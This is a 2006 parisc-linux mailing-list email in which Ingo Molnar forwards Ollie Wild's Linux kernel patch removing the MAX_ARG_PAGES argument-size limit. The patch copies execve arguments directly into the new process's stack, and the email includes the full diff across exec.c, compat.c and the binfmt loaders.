	helo=elvis.elte.hu; 
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -5.9
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-5.9 required=5.9 tests=ALL_TRUSTED,
	BAYES_00 autolearn=no SpamAssassin version=3.0.3
	-3.3 ALL_TRUSTED            Did not pass through any untrusted hosts
	-2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Fri, 29 Dec 2006 13:29:48 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lQ7wNXZEZCEXX7GPamwhpxJwIGhpZcbP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24178


FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to 
2.6.20-rc2 and have included it in the -rt kernel. It's working great - 
i can now finally do a "ls -t patches/*.patch" in my patch repository - 
something i havent been able to do for years ;-)

what is keeping this fix from going upstream?

	Ingo

-------------->
Subject: [patch] remove MAX_ARG_PAGES
From: Ollie Wild <aaw@google.com>

this patch removes the MAX_ARG_PAGES limit by copying between VMs. This 
makes process argv/env limited by the stack limit (and it's thus 
arbitrarily sizable). No more:

  -bash: /bin/ls: Argument list too long

Signed-off-by: Ingo Molnar <mingo@elte.hu>
---
 arch/x86_64/ia32/ia32_binfmt.c |   55 -----
 fs/binfmt_elf.c                |   12 -
 fs/binfmt_misc.c               |    4 
 fs/binfmt_script.c             |    4 
 fs/compat.c                    |  118 ++++--------
 fs/exec.c                      |  382 +++++++++++++++++++----------------------
 include/linux/binfmts.h        |   14 -
 include/linux/mm.h             |    7 
 kernel/auditsc.c               |    5 
 mm/mprotect.c                  |    2 
 mm/mremap.c                    |    2 
 11 files changed, 250 insertions(+), 355 deletions(-)

Index: linux/arch/x86_64/ia32/ia32_binfmt.c
===================================================================
--- linux.orig/arch/x86_64/ia32/ia32_binfmt.c
+++ linux/arch/x86_64/ia32/ia32_binfmt.c
@@ -279,9 +279,6 @@ do {							\
 #define load_elf_binary load_elf32_binary
 
 #define ELF_PLAT_INIT(r, load_addr)	elf32_init(r)
-#define setup_arg_pages(bprm, stack_top, exec_stack) \
-	ia32_setup_arg_pages(bprm, stack_top, exec_stack)
-int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stack_top, int executable_stack);
 
 #undef start_thread
 #define start_thread(regs,new_rip,new_rsp) do { \
@@ -336,57 +333,7 @@ static void elf32_init(struct pt_regs *r
 int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stack_top,
 			 int executable_stack)
 {
-	unsigned long stack_base;
-	struct vm_area_struct *mpnt;
-	struct mm_struct *mm = current->mm;
-	int i, ret;
-
-	stack_base = stack_top - MAX_ARG_PAGES * PAGE_SIZE;
-	mm->arg_start = bprm->p + stack_base;
-
-	bprm->p += stack_base;
-	if (bprm->loader)
-		bprm->loader += stack_base;
-	bprm->exec += stack_base;
-
-	mpnt = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
-	if (!mpnt) 
-		return -ENOMEM; 
-
-	memset(mpnt, 0, sizeof(*mpnt));
-
-	down_write(&mm->mmap_sem);
-	{
-		mpnt->vm_mm = mm;
-		mpnt->vm_start = PAGE_MASK & (unsigned long) bprm->p;
-		mpnt->vm_end = stack_top;
-		if (executable_stack == EXSTACK_ENABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
-		else if (executable_stack == EXSTACK_DISABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
-		else
-			mpnt->vm_flags = VM_STACK_FLAGS;
- 		mpnt->vm_page_prot = (mpnt->vm_flags & VM_EXEC) ? 
- 			PAGE_COPY_EXEC : PAGE_COPY;
-		if ((ret = insert_vm_struct(mm, mpnt))) {
-			up_write(&mm->mmap_sem);
-			kmem_cache_free(vm_area_cachep, mpnt);
-			return ret;
-		}
-		mm->stack_vm = mm->total_vm = vma_pages(mpnt);
-	} 
-
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page *page = bprm->page[i];
-		if (page) {
-			bprm->page[i] = NULL;
-			install_arg_page(mpnt, page, stack_base);
-		}
-		stack_base += PAGE_SIZE;
-	}
-	up_write(&mm->mmap_sem);
-	
-	return 0;
+	return setup_arg_pages(bprm, stack_top, executable_stack);
 }
 EXPORT_SYMBOL(ia32_setup_arg_pages);
 
Index: linux/fs/binfmt_elf.c
===================================================================
--- linux.orig/fs/binfmt_elf.c
+++ linux/fs/binfmt_elf.c
@@ -253,8 +253,8 @@ create_elf_tables(struct linux_binprm *b
 		size_t len;
 		if (__put_user((elf_addr_t)p, argv++))
 			return -EFAULT;
-		len = strnlen_user((void __user *)p, PAGE_SIZE*MAX_ARG_PAGES);
-		if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
+		len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
+		if (!len || len > MAX_ARG_STRLEN)
 			return 0;
 		p += len;
 	}
@@ -265,8 +265,8 @@ create_elf_tables(struct linux_binprm *b
 		size_t len;
 		if (__put_user((elf_addr_t)p, envp++))
 			return -EFAULT;
-		len = strnlen_user((void __user *)p, PAGE_SIZE*MAX_ARG_PAGES);
-		if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
+		len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
+		if (!len || len > MAX_ARG_STRLEN)
 			return 0;
 		p += len;
 	}
@@ -767,10 +767,6 @@ static int load_elf_binary(struct linux_
 	}
 
 	/* OK, This is the point of no return */
-	current->mm->start_data = 0;
-	current->mm->end_data = 0;
-	current->mm->end_code = 0;
-	current->mm->mmap = NULL;
 	current->flags &= ~PF_FORKNOEXEC;
 	current->mm->def_flags = def_flags;
 
Index: linux/fs/binfmt_misc.c
===================================================================
--- linux.orig/fs/binfmt_misc.c
+++ linux/fs/binfmt_misc.c
@@ -126,7 +126,9 @@ static int load_misc_binary(struct linux
 		goto _ret;
 
 	if (!(fmt->flags & MISC_FMT_PRESERVE_ARGV0)) {
-		remove_arg_zero(bprm);
+		retval = remove_arg_zero(bprm);
+		if (retval)
+			goto _ret;
 	}
 
 	if (fmt->flags & MISC_FMT_OPEN_BINARY) {
Index: linux/fs/binfmt_script.c
===================================================================
--- linux.orig/fs/binfmt_script.c
+++ linux/fs/binfmt_script.c
@@ -68,7 +68,9 @@ static int load_script(struct linux_binp
 	 * This is done in reverse order, because of how the
 	 * user environment and arguments are stored.
 	 */
-	remove_arg_zero(bprm);
+	retval = remove_arg_zero(bprm);
+	if (retval)
+		return retval;
 	retval = copy_strings_kernel(1, &bprm->interp, bprm);
 	if (retval < 0) return retval; 
 	bprm->argc++;
Index: linux/fs/compat.c
===================================================================
--- linux.orig/fs/compat.c
+++ linux/fs/compat.c
@@ -1389,6 +1389,7 @@ static int compat_copy_strings(int argc,
 {
 	struct page *kmapped_page = NULL;
 	char *kaddr = NULL;
+	unsigned long kpos = 0;
 	int ret;
 
 	while (argc-- > 0) {
@@ -1397,92 +1398,72 @@ static int compat_copy_strings(int argc,
 		unsigned long pos;
 
 		if (get_user(str, argv+argc) ||
-			!(len = strnlen_user(compat_ptr(str), bprm->p))) {
+		    !(len = strnlen_user(compat_ptr(str), MAX_ARG_STRLEN))) {
 			ret = -EFAULT;
 			goto out;
 		}
 
-		if (bprm->p < len)  {
+		if (MAX_ARG_STRLEN < len) {
 			ret = -E2BIG;
 			goto out;
 		}
 
-		bprm->p -= len;
-		/* XXX: add architecture specific overflow check here. */
+		/* We're going to work our way backwords. */
 		pos = bprm->p;
+		str += len;
+		bprm->p -= len;
 
 		while (len > 0) {
-			int i, new, err;
 			int offset, bytes_to_copy;
-			struct page *page;
 
 			offset = pos % PAGE_SIZE;
-			i = pos/PAGE_SIZE;
-			page = bprm->page[i];
-			new = 0;
-			if (!page) {
-				page = alloc_page(GFP_HIGHUSER);
-				bprm->page[i] = page;
-				if (!page) {
-					ret = -ENOMEM;
+			if (offset == 0)
+				offset = PAGE_SIZE;
+
+			bytes_to_copy = offset;
+			if (bytes_to_copy > len)
+				bytes_to_copy = len;
+
+			offset -= bytes_to_copy;
+			pos -= bytes_to_copy;
+			str -= bytes_to_copy;
+			len -= bytes_to_copy;
+
+			if (!kmapped_page || kpos != (pos & PAGE_MASK)) {
+				struct page *page;
+
+				ret = get_user_pages(current, bprm->mm, pos,
+						     1, 1, 1, &page, NULL);
+				if (ret <= 0) {
+					/* We've exceed the stack rlimit. */
+					ret = -E2BIG;
 					goto out;
 				}
-				new = 1;
-			}
 
-			if (page != kmapped_page) {
-				if (kmapped_page)
+				if (kmapped_page) {
 					kunmap(kmapped_page);
+					put_page(kmapped_page);
+				}
 				kmapped_page = page;
 				kaddr = kmap(kmapped_page);
+				kpos = pos & PAGE_MASK;
 			}
-			if (new && offset)
-				memset(kaddr, 0, offset);
-			bytes_to_copy = PAGE_SIZE - offset;
-			if (bytes_to_copy > len) {
-				bytes_to_copy = len;
-				if (new)
-					memset(kaddr+offset+len, 0,
-						PAGE_SIZE-offset-len);
-			}
-			err = copy_from_user(kaddr+offset, compat_ptr(str),
-						bytes_to_copy);
-			if (err) {
+			if (copy_from_user(kaddr+offset, compat_ptr(str),
+						bytes_to_copy)) {
 				ret = -EFAULT;
 				goto out;
 			}
-
-			pos += bytes_to_copy;
-			str += bytes_to_copy;
-			len -= bytes_to_copy;
 		}
 	}
 	ret = 0;
 out:
-	if (kmapped_page)
+	if (kmapped_page) {
 		kunmap(kmapped_page);
-	return ret;
-}
-
-#ifdef CONFIG_MMU
-
-#define free_arg_pages(bprm) do { } while (0)
-
-#else
-
-static inline void free_arg_pages(struct linux_binprm *bprm)
-{
-	int i;
-
-	for (i = 0; i < MAX_ARG_PAGES; i++) {
-		if (bprm->page[i])
-			__free_page(bprm->page[i]);
-		bprm->page[i] = NULL;
+		put_page(kmapped_page);
 	}
+	return ret;
 }
 
-#endif /* CONFIG_MMU */
-
 /*
  * compat_do_execve() is mostly a copy of do_execve(), with the exception
  * that it processes 32 bit argv and envp pointers.
@@ -1495,7 +1476,6 @@ int compat_do_execve(char * filename,
 	struct linux_binprm *bprm;
 	struct file *file;
 	int retval;
-	int i;
 
 	retval = -ENOMEM;
 	bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
@@ -1509,24 +1489,19 @@ int compat_do_execve(char * filename,
 
 	sched_exec();
 
-	bprm->p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
 	bprm->file = file;
 	bprm->filename = filename;
 	bprm->interp = filename;
-	bprm->mm = mm_alloc();
-	retval = -ENOMEM;
-	if (!bprm->mm)
-		goto out_file;
 
-	retval = init_new_context(current, bprm->mm);
-	if (retval < 0)
-		goto out_mm;
+	retval = bprm_mm_init(bprm);
+	if (retval)
+		goto out_file;
 
-	bprm->argc = compat_count(argv, bprm->p / sizeof(compat_uptr_t));
+	bprm->argc = compat_count(argv, MAX_ARG_STRINGS);
 	if ((retval = bprm->argc) < 0)
 		goto out_mm;
 
-	bprm->envc = compat_count(envp, bprm->p / sizeof(compat_uptr_t));
+	bprm->envc = compat_count(envp, MAX_ARG_STRINGS);
 	if ((retval = bprm->envc) < 0)
 		goto out_mm;
 
@@ -1551,10 +1526,8 @@ int compat_do_execve(char * filename,
 	if (retval < 0)
 		goto out;
 
-	retval = search_binary_handler(bprm, regs);
+	retval = search_binary_handler(bprm,regs);
 	if (retval >= 0) {
-		free_arg_pages(bprm);
-
 		/* execve success */
 		security_bprm_free(bprm);
 		acct_update_integrals(current);
@@ -1563,19 +1536,12 @@ int compat_do_execve(char * filename,
 	}
 
 out:
-	/* Something went wrong, return the inode and free the argument pages*/
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page * page = bprm->page[i];
-		if (page)
-			__free_page(page);
-	}
-
 	if (bprm->security)
 		security_bprm_free(bprm);
 
 out_mm:
 	if (bprm->mm)
-		mmdrop(bprm->mm);
+		mmput (bprm->mm);
 
 out_file:
 	if (bprm->file) {
Index: linux/fs/exec.c
===================================================================
--- linux.orig/fs/exec.c
+++ linux/fs/exec.c
@@ -174,6 +174,79 @@ exit:
 	goto out;
 }
 
+#ifdef CONFIG_STACK_GROWSUP
+#error	I broke your build because I rearchitected the stack code, and I \
+	don't have access to an architecture where CONFIG_STACK_GROWSUP is \
+	set.  Please fixe this or send me a machine which I can test this on. \
+	\
+	-- Ollie Wild <aaw@google.com>
+#endif
+
+/* Create a new mm_struct and populate it with a temporary stack
+ * vm_area_struct.  We don't have enough context at this point to set the
+ * stack flags, permissions, and offset, so we use temporary values.  We'll
+ * update them later in setup_arg_pages(). */
+int bprm_mm_init(struct linux_binprm *bprm)
+{
+	int err;
+	struct mm_struct *mm = NULL;
+	struct vm_area_struct *vma = NULL;
+
+	bprm->mm = mm = mm_alloc();
+	err = -ENOMEM;
+	if (!mm)
+		goto err;
+
+	if ((err = init_new_context(current, mm)))
+		goto err;
+
+	bprm->vma = vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
+	err = -ENOMEM;
+	if (!vma)
+		goto err;
+
+	down_write(&mm->mmap_sem);
+	{
+		vma->vm_mm = mm;
+
+		/* Place the stack at the top of user memory.  Later, we'll
+		 * move this to an appropriate place.  We don't use STACK_TOP
+		 * because that can depend on attributes which aren't
+		 * configured yet. */
+		vma->vm_end = TASK_SIZE;
+		vma->vm_start = vma->vm_end - PAGE_SIZE;
+
+		vma->vm_flags = VM_STACK_FLAGS;
+		vma->vm_page_prot = protection_map[vma->vm_flags & 0x7];
+		if ((err = insert_vm_struct(mm, vma))) {
+			up_write(&mm->mmap_sem);
+			goto err;
+		}
+
+		mm->stack_vm = mm->total_vm = 1;
+	}
+	up_write(&mm->mmap_sem);
+
+	bprm->p = vma->vm_end - sizeof(void *);
+
+	return 0;
+
+err:
+	if (vma) {
+		bprm->vma = NULL;
+		kmem_cache_free(vm_area_cachep, vma);
+	}
+
+	if (mm) {
+		bprm->mm = NULL;
+		mmdrop(mm);
+	}
+
+	return err;
+}
+
+EXPORT_SYMBOL(bprm_mm_init);
+
 /*
  * count() counts the number of strings in array ARGV.
  */
@@ -199,15 +272,16 @@ static int count(char __user * __user * 
 }
 
 /*
- * 'copy_strings()' copies argument/environment strings from user
- * memory to free pages in kernel mem. These are in a format ready
- * to be put directly into the top of new user memory.
+ * 'copy_strings()' copies argument/environment strings from the old
+ * processes's memory to the new process's stack.  The call to get_user_pages()
+ * ensures the destination page is created and not swapped out.
  */
 static int copy_strings(int argc, char __user * __user * argv,
 			struct linux_binprm *bprm)
 {
 	struct page *kmapped_page = NULL;
 	char *kaddr = NULL;
+	unsigned long kpos = 0;
 	int ret;
 
 	while (argc-- > 0) {
@@ -216,69 +290,68 @@ static int copy_strings(int argc, char _
 		unsigned long pos;
 
 		if (get_user(str, argv+argc) ||
-				!(len = strnlen_user(str, bprm->p))) {
+				!(len = strnlen_user(str, MAX_ARG_STRLEN))) {
 			ret = -EFAULT;
 			goto out;
 		}
 
-		if (bprm->p < len)  {
+		if (MAX_ARG_STRLEN < len) {
 			ret = -E2BIG;
 			goto out;
 		}
 
-		bprm->p -= len;
-		/* XXX: add architecture specific overflow check here. */
+		/* We're going to work our way backwords. */
 		pos = bprm->p;
+		str += len;
+		bprm->p -= len;
 
 		while (len > 0) {
-			int i, new, err;
 			int offset, bytes_to_copy;
-			struct page *page;
 
 			offset = pos % PAGE_SIZE;
-			i = pos/PAGE_SIZE;
-			page = bprm->page[i];
-			new = 0;
-			if (!page) {
-				page = alloc_page(GFP_HIGHUSER);
-				bprm->page[i] = page;
-				if (!page) {
-					ret = -ENOMEM;
+			if (offset == 0)
+				offset = PAGE_SIZE;
+
+			bytes_to_copy = offset;
+			if (bytes_to_copy > len)
+				bytes_to_copy = len;
+
+			offset -= bytes_to_copy;
+			pos -= bytes_to_copy;
+			str -= bytes_to_copy;
+			len -= bytes_to_copy;
+
+			if (!kmapped_page || kpos != (pos & PAGE_MASK)) {
+				struct page *page;
+
+				ret = get_user_pages(current, bprm->mm, pos,
+						     1, 1, 1, &page, NULL);
+				if (ret <= 0) {
+					/* We've exceed the stack rlimit. */
+					ret = -E2BIG;
 					goto out;
 				}
-				new = 1;
-			}
 
-			if (page != kmapped_page) {
-				if (kmapped_page)
+				if (kmapped_page) {
 					kunmap(kmapped_page);
+					put_page(kmapped_page);
+				}
 				kmapped_page = page;
 				kaddr = kmap(kmapped_page);
+				kpos = pos & PAGE_MASK;
 			}
-			if (new && offset)
-				memset(kaddr, 0, offset);
-			bytes_to_copy = PAGE_SIZE - offset;
-			if (bytes_to_copy > len) {
-				bytes_to_copy = len;
-				if (new)
-					memset(kaddr+offset+len, 0,
-						PAGE_SIZE-offset-len);
-			}
-			err = copy_from_user(kaddr+offset, str, bytes_to_copy);
-			if (err) {
+			if (copy_from_user(kaddr+offset, str, bytes_to_copy)) {
 				ret = -EFAULT;
 				goto out;
 			}
-
-			pos += bytes_to_copy;
-			str += bytes_to_copy;
-			len -= bytes_to_copy;
 		}
 	}
 	ret = 0;
 out:
-	if (kmapped_page)
+	if (kmapped_page) {
 		kunmap(kmapped_page);
+		put_page(kmapped_page);
+	}
 	return ret;
 }
 
@@ -297,157 +370,79 @@ int copy_strings_kernel(int argc,char **
 
 EXPORT_SYMBOL(copy_strings_kernel);
 
-#ifdef CONFIG_MMU
-/*
- * This routine is used to map in a page into an address space: needed by
- * execve() for the initial stack and environment pages.
- *
- * vma->vm_mm->mmap_sem is held for writing.
- */
-void install_arg_page(struct vm_area_struct *vma,
-			struct page *page, unsigned long address)
-{
-	struct mm_struct *mm = vma->vm_mm;
-	pte_t * pte;
-	spinlock_t *ptl;
-
-	if (unlikely(anon_vma_prepare(vma)))
-		goto out;
-
-	flush_dcache_page(page);
-	pte = get_locked_pte(mm, address, &ptl);
-	if (!pte)
-		goto out;
-	if (!pte_none(*pte)) {
-		pte_unmap_unlock(pte, ptl);
-		goto out;
-	}
-	inc_mm_counter(mm, anon_rss);
-	lru_cache_add_active(page);
-	set_pte_at(mm, address, pte, pte_mkdirty(pte_mkwrite(mk_pte(
-					page, vma->vm_page_prot))));
-	page_add_new_anon_rmap(page, vma, address);
-	pte_unmap_unlock(pte, ptl);
-
-	/* no need for flush_tlb */
-	return;
-out:
-	__free_page(page);
-	force_sig(SIGKILL, current);
-}
-
 #define EXTRA_STACK_VM_PAGES	20	/* random */
 
+/* Finalizes the stack vm_area_struct.  The flags and permissions are updated,
+ * the stack is optionally relocated, and some extra space is added.
+ */
 int setup_arg_pages(struct linux_binprm *bprm,
 		    unsigned long stack_top,
 		    int executable_stack)
 {
-	unsigned long stack_base;
-	struct vm_area_struct *mpnt;
+	unsigned long ret;
+	unsigned long stack_base, stack_shift;
 	struct mm_struct *mm = current->mm;
-	int i, ret;
-	long arg_size;
 
-#ifdef CONFIG_STACK_GROWSUP
-	/* Move the argument and environment strings to the bottom of the
-	 * stack space.
-	 */
-	int offset, j;
-	char *to, *from;
+	BUG_ON(stack_top > TASK_SIZE);
+	BUG_ON(stack_top & ~PAGE_MASK);
 
-	/* Start by shifting all the pages down */
-	i = 0;
-	for (j = 0; j < MAX_ARG_PAGES; j++) {
-		struct page *page = bprm->page[j];
-		if (!page)
-			continue;
-		bprm->page[i++] = page;
-	}
-
-	/* Now move them within their pages */
-	offset = bprm->p % PAGE_SIZE;
-	to = kmap(bprm->page[0]);
-	for (j = 1; j < i; j++) {
-		memmove(to, to + offset, PAGE_SIZE - offset);
-		from = kmap(bprm->page[j]);
-		memcpy(to + PAGE_SIZE - offset, from, offset);
-		kunmap(bprm->page[j - 1]);
-		to = from;
-	}
-	memmove(to, to + offset, PAGE_SIZE - offset);
-	kunmap(bprm->page[j - 1]);
-
-	/* Limit stack size to 1GB */
-	stack_base = current->signal->rlim[RLIMIT_STACK].rlim_max;
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
-	stack_base = PAGE_ALIGN(stack_top - stack_base);
-
-	/* Adjust bprm->p to point to the end of the strings. */
-	bprm->p = stack_base + PAGE_SIZE * i - offset;
-
-	mm->arg_start = stack_base;
-	arg_size = i << PAGE_SHIFT;
-
-	/* zero pages that were copied above */
-	while (i < MAX_ARG_PAGES)
-		bprm->page[i++] = NULL;
-#else
-	stack_base = arch_align_stack(stack_top - MAX_ARG_PAGES*PAGE_SIZE);
+	stack_base = arch_align_stack(stack_top - mm->stack_vm*PAGE_SIZE);
 	stack_base = PAGE_ALIGN(stack_base);
-	bprm->p += stack_base;
-	mm->arg_start = bprm->p;
-	arg_size = stack_top - (PAGE_MASK & (unsigned long) mm->arg_start);
-#endif
 
-	arg_size += EXTRA_STACK_VM_PAGES * PAGE_SIZE;
+	stack_shift = (bprm->p & PAGE_MASK) - stack_base;
+	BUG_ON(stack_shift < 0);
+	bprm->p -= stack_shift;
+	mm->arg_start = bprm->p;
 
 	if (bprm->loader)
-		bprm->loader += stack_base;
-	bprm->exec += stack_base;
-
-	mpnt = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
-	if (!mpnt)
-		return -ENOMEM;
-
-	memset(mpnt, 0, sizeof(*mpnt));
+		bprm->loader -= stack_shift;
+	bprm->exec -= stack_shift;
 
 	down_write(&mm->mmap_sem);
 	{
-		mpnt->vm_mm = mm;
-#ifdef CONFIG_STACK_GROWSUP
-		mpnt->vm_start = stack_base;
-		mpnt->vm_end = stack_base + arg_size;
-#else
-		mpnt->vm_end = stack_top;
-		mpnt->vm_start = mpnt->vm_end - arg_size;
-#endif
+		struct vm_area_struct *vma = bprm->vma;
+		struct vm_area_struct *prev = NULL;
+		unsigned long vm_flags = vma->vm_flags;
+
 		/* Adjust stack execute permissions; explicitly enable
 		 * for EXSTACK_ENABLE_X, disable for EXSTACK_DISABLE_X
 		 * and leave alone (arch default) otherwise. */
 		if (unlikely(executable_stack == EXSTACK_ENABLE_X))
-			mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
+			vm_flags |= VM_EXEC;
 		else if (executable_stack == EXSTACK_DISABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
-		else
-			mpnt->vm_flags = VM_STACK_FLAGS;
-		mpnt->vm_flags |= mm->def_flags;
-		mpnt->vm_page_prot = protection_map[mpnt->vm_flags & 0x7];
-		if ((ret = insert_vm_struct(mm, mpnt))) {
+			vm_flags &= ~VM_EXEC;
+		vm_flags |= mm->def_flags;
+
+		ret = mprotect_fixup(vma, &prev, vma->vm_start, vma->vm_end,
+				vm_flags);
+		if (ret) {
 			up_write(&mm->mmap_sem);
-			kmem_cache_free(vm_area_cachep, mpnt);
 			return ret;
 		}
-		mm->stack_vm = mm->total_vm = vma_pages(mpnt);
-	}
+		BUG_ON(prev != vma);
+
+		/* Move stack pages down in memory. */
+		if (stack_shift) {
+			/* This should be safe even with overlap because we
+			 * are shifting down. */
+			ret = move_vma(vma, vma->vm_start,
+					vma->vm_end - vma->vm_start,
+					vma->vm_end - vma->vm_start,
+					vma->vm_start - stack_shift);
+			if (ret & ~PAGE_MASK) {
+				up_write(&mm->mmap_sem);
+				return ret;
+			}
+		}
 
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page *page = bprm->page[i];
-		if (page) {
-			bprm->page[i] = NULL;
-			install_arg_page(mpnt, page, stack_base);
+		// Expand the stack.
+		vma = find_vma(mm, bprm->p);
+		BUG_ON(!vma || bprm->p < vma->vm_start);
+		if (expand_stack(vma, stack_base -
+					EXTRA_STACK_VM_PAGES * PAGE_SIZE)) {
+			up_write(&mm->mmap_sem);
+			return -EFAULT;
 		}
-		stack_base += PAGE_SIZE;
 	}
 	up_write(&mm->mmap_sem);
 	
@@ -456,23 +451,6 @@ int setup_arg_pages(struct linux_binprm 
 
 EXPORT_SYMBOL(setup_arg_pages);
 
-#define free_arg_pages(bprm) do { } while (0)
-
-#else
-
-static inline void free_arg_pages(struct linux_binprm *bprm)
-{
-	int i;
-
-	for (i = 0; i < MAX_ARG_PAGES; i++) {
-		if (bprm->page[i])
-			__free_page(bprm->page[i]);
-		bprm->page[i] = NULL;
-	}
-}
-
-#endif /* CONFIG_MMU */
-
 struct file *open_exec(const char *name)
 {
 	struct nameidata nd;
@@ -993,8 +971,10 @@ void compute_creds(struct linux_binprm *
 
 EXPORT_SYMBOL(compute_creds);
 
-void remove_arg_zero(struct linux_binprm *bprm)
+int remove_arg_zero(struct linux_binprm *bprm)
 {
+	int ret = 0;
+
 	if (bprm->argc) {
 		unsigned long offset;
 		char * kaddr;
@@ -1008,13 +988,23 @@ void remove_arg_zero(struct linux_binprm
 				continue;
 			offset = 0;
 			kunmap_atomic(kaddr, KM_USER0);
+			put_page(page);
 inside:
-			page = bprm->page[bprm->p/PAGE_SIZE];
+			ret = get_user_pages(current, bprm->mm, bprm->p,
+					     1, 0, 1, &page, NULL);
+			if (ret <= 0) {
+				ret = -EFAULT;
+				goto out;
+			}
 			kaddr = kmap_atomic(page, KM_USER0);
 		}
 		kunmap_atomic(kaddr, KM_USER0);
 		bprm->argc--;
+		ret = 0;
 	}
+
+out:
+	return ret;
 }
 
 EXPORT_SYMBOL(remove_arg_zero);
@@ -1041,7 +1031,7 @@ int search_binary_handler(struct linux_b
 		fput(bprm->file);
 		bprm->file = NULL;
 
-	        loader = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
+	        loader = bprm->vma->vm_end - sizeof(void *);
 
 		file = open_exec("/sbin/loader");
 		retval = PTR_ERR(file);
@@ -1134,7 +1124,6 @@ int do_execve(char * filename,
 	struct linux_binprm *bprm;
 	struct file *file;
 	int retval;
-	int i;
 
 	retval = -ENOMEM;
 	bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
@@ -1148,25 +1137,19 @@ int do_execve(char * filename,
 
 	sched_exec();
 
-	bprm->p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
-
 	bprm->file = file;
 	bprm->filename = filename;
 	bprm->interp = filename;
-	bprm->mm = mm_alloc();
-	retval = -ENOMEM;
-	if (!bprm->mm)
-		goto out_file;
 
-	retval = init_new_context(current, bprm->mm);
-	if (retval < 0)
-		goto out_mm;
+	retval = bprm_mm_init(bprm);
+	if (retval)
+		goto out_file;
 
-	bprm->argc = count(argv, bprm->p / sizeof(void *));
+	bprm->argc = count(argv, MAX_ARG_STRINGS);
 	if ((retval = bprm->argc) < 0)
 		goto out_mm;
 
-	bprm->envc = count(envp, bprm->p / sizeof(void *));
+	bprm->envc = count(envp, MAX_ARG_STRINGS);
 	if ((retval = bprm->envc) < 0)
 		goto out_mm;
 
@@ -1193,8 +1176,6 @@ int do_execve(char * filename,
 
 	retval = search_binary_handler(bprm,regs);
 	if (retval >= 0) {
-		free_arg_pages(bprm);
-
 		/* execve success */
 		security_bprm_free(bprm);
 		acct_update_integrals(current);
@@ -1203,19 +1184,12 @@ int do_execve(char * filename,
 	}
 
 out:
-	/* Something went wrong, return the inode and free the argument pages*/
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page * page = bprm->page[i];
-		if (page)
-			__free_page(page);
-	}
-
 	if (bprm->security)
 		security_bprm_free(bprm);
 
 out_mm:
 	if (bprm->mm)
-		mmdrop(bprm->mm);
+		mmput (bprm->mm);
 
 out_file:
 	if (bprm->file) {
Index: linux/include/linux/binfmts.h
===================================================================
--- linux.orig/include/linux/binfmts.h
+++ linux/include/linux/binfmts.h
@@ -5,12 +5,9 @@
 
 struct pt_regs;
 
-/*
- * MAX_ARG_PAGES defines the number of pages allocated for arguments
- * and envelope for the new program. 32 should suffice, this gives
- * a maximum env+arg of 128kB w/4KB pages!
- */
-#define MAX_ARG_PAGES 32
+/* FIXME: Find real limits, or none. */
+#define MAX_ARG_STRLEN (PAGE_SIZE * 32)
+#define MAX_ARG_STRINGS 0x7FFFFFFF
 
 /* sizeof(linux_binprm->buf) */
 #define BINPRM_BUF_SIZE 128
@@ -22,7 +19,7 @@ struct pt_regs;
  */
 struct linux_binprm{
 	char buf[BINPRM_BUF_SIZE];
-	struct page *page[MAX_ARG_PAGES];
+	struct vm_area_struct *vma;
 	struct mm_struct *mm;
 	unsigned long p; /* current top of mem */
 	int sh_bang;
@@ -65,7 +62,7 @@ extern int register_binfmt(struct linux_
 extern int unregister_binfmt(struct linux_binfmt *);
 
 extern int prepare_binprm(struct linux_binprm *);
-extern void remove_arg_zero(struct linux_binprm *);
+extern int __must_check remove_arg_zero(struct linux_binprm *);
 extern int search_binary_handler(struct linux_binprm *,struct pt_regs *);
 extern int flush_old_exec(struct linux_binprm * bprm);
 
